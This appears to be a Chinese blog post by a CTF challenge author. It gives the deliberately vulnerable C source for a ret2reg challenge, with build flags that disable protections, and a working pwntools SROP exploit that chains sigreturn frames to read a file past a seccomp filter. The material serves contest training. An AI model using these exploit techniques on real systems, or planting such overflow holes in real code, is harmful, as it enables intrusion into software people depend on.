例行月赛出题,出了三道,两道是基于自己做过的题,融合了其他知识点(缝缝补补又一年),还有一道是临时出的凑数的。感觉确实不仅需要做题,也需要出题,出题的时候才能更好地理解出题人的想法(废话。。),以及注意到之前的很多细节。
		这次也踩坑踩了很多,比如条件竞争的题目,不知道怎么部署。。。想了很多方案都不行。以及docker容器自身的问题,它只是隔离了进程,并没有用新的内核,所以一些内核特性用不了。
ret2reg
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   |  #include <stdio.h>     #include <string.h>    
  void evilfunction(char *input) {    
      char buffer[512];         strcpy(buffer, input);     }    
  int main(int argc, char **argv) {    
      char input[580];     printf("welcome to here,please give me something");     gets(input);     evilfunction(input);     return 0;     } 
 
 
 
 
  | 
 
分析
		本身这道题的原题是没有开启随机化,相对比较简单,可以直接写shellcode,然后call eax这种过去执行shellcode,但是如果开了随机化,call eax的地址就不确定了,但是可以进行枚举,(之前一直不会写枚举的脚本,这次学会了。。。)感觉之前有时候也是成功了,但是没有正确停止或打印
		PIE和ALSR:
ALSR:/proc/sys/kernel/randomize_va_spac  完全开启时 栈、堆、libc变化,程序本身及PLT不变
PIE:可执行程序的加载基址
		在作者那个年代,应该是默认不开启PIE的,现在都是默认开启… 不开启的话,就很容易了,alsr不影响,所以做的时候有点怪怪的…
gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector -no-pie
objdump -d ret2reg
804901d


开启PIE
		进行枚举, 随机化程度是多少呢??
踩坑,改为用户输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | #include <stdio.h>     #include <string.h>    
  void evilfunction(char *input) {    
      char buffer[512];         strcpy(buffer, input);     }    
  int main(int argc, char **argv) {    
      char input[580];     printf("welcome to here,please give me something");     gets(input);     evilfunction(input);     return 0;     } 
 
   | 
 
SROP
		本来寻思直接给个/bin/sh会简单,后来发现好像和原题差不多…然后不如加个系统调用限制(不过好像过滤的不完全,还是能getshell?)
如何直接写汇编呢? (也可以写一篇分析
https://blog.csdn.net/qq_27816307/article/details/50995042
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | section .data            ; 数据段声明         msg db "Hello, world!", 0xA     ; 要输出的字符串         len equ $ - msg                 ; 字串长度
  section .text            ; 代码段声明 global _start            ; 指定入口函数 _start:                  ; 在屏幕上显示一个字符串 mov eax, 4       ; 系统调用号(sys_write) ;man 2 write 可以查看write系统调用的功能 ;write函数原型: ssize_t write(int fd,const void *buf,size_t count); mov ebx, 1       ; 参数一:文件描述符(stdout) mov ecx, msg     ; 参数二:要显示的字符串 mov edx, len     ; 参数三:字符串长度 int 0x80         ; 调用内核功能。软中断,陷入内核 mov eax, 1       ; 系统调用号(sys_exit) mov ebx, 0       ; 参数一:退出代码 int 0x80         ; 调用内核功能
   | 
 
nasm 注意编译多少位的,blog里面是32的,64的话
nams -f elf64 hello.asm
用gcc链接也可以(本质都一样吧)
gcc -o example example.o
ld -s -o hello hello.o
反汇编看一下
用seccmp禁掉execve? 还是啥
先封装到c里面
1 2
   | nasm -f elf64 hello.asm gcc -fno-stack-protector  -no-pie  -o myprogram 1.c hello.o
   | 
 

objdump -s -j .rodata your_binary_file 查看字符串
seccomp
关于文件描述符的调试,gdb中如何查看呢?  Linux中又如何查看呢?
1.c:4:10: fatal error: seccomp.h: 没有那个文件或目
sudo apt-get install libseccomp-dev
编译的时候需要加选项  -lseccomp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
   | root@ubuntu:/home/ubuntu/桌面/pwn/8月/srop/test1 from pwn import * small = ELF('./test')
  if args['REMOTE']:     sh = remote('127.0.0.1', 7777) else:     sh = process('./myprogram') context.terminal = ['tmux', 'splitw', '-h']
  context.arch = 'amd64' context.log_level = 'debug' syscall_ret = 0x000000000040112e start_addr = 0x0000000000401120 payload = p64(start_addr) * 4
  sh.send(payload) pause() sh.send("\x23") stack_addr = u64(sh.recv()[16:24]) log.success('leak stack addr :' + hex(stack_addr))
  sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0  sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b"a"*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"x"*7 print("hereeeeeeeeeeeeeeeeeeeeeeeeeee") pause() sh.send(sigreturn)
  sigframe = SigreturnFrame() sigframe.rax = constants.SYS_open sigframe.rdi = 0x402004  sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b"a"*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"x"*7 print("hereeeeeeeeeeeeeeeeeeeeeeeeeee") pause() sh.send(sigreturn)
 
  sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 3  sigframe.rsi = stack_addr+0x200 sigframe.rdx = 0x100 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b"a"*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"x"*7 print("hereeeeeeeeeeeeeeeeeeeeeeeeeee") pause() sh.send(sigreturn)
 
  sigframe = SigreturnFrame() sigframe.rax = constants.SYS_write sigframe.rdi = 1  sigframe.rsi = stack_addr+0x200 sigframe.rdx = 0x100 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b"a"*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"x"*7 print("hereeeeeeeeeeeeeeeeeeeeeeeeeee") pause() sh.send(sigreturn)
  sh.interactive()
 
   | 
 
白名单感觉复杂点,可以直接上黑名单
https://www.sec4.fun/2018/07/23/seccomp/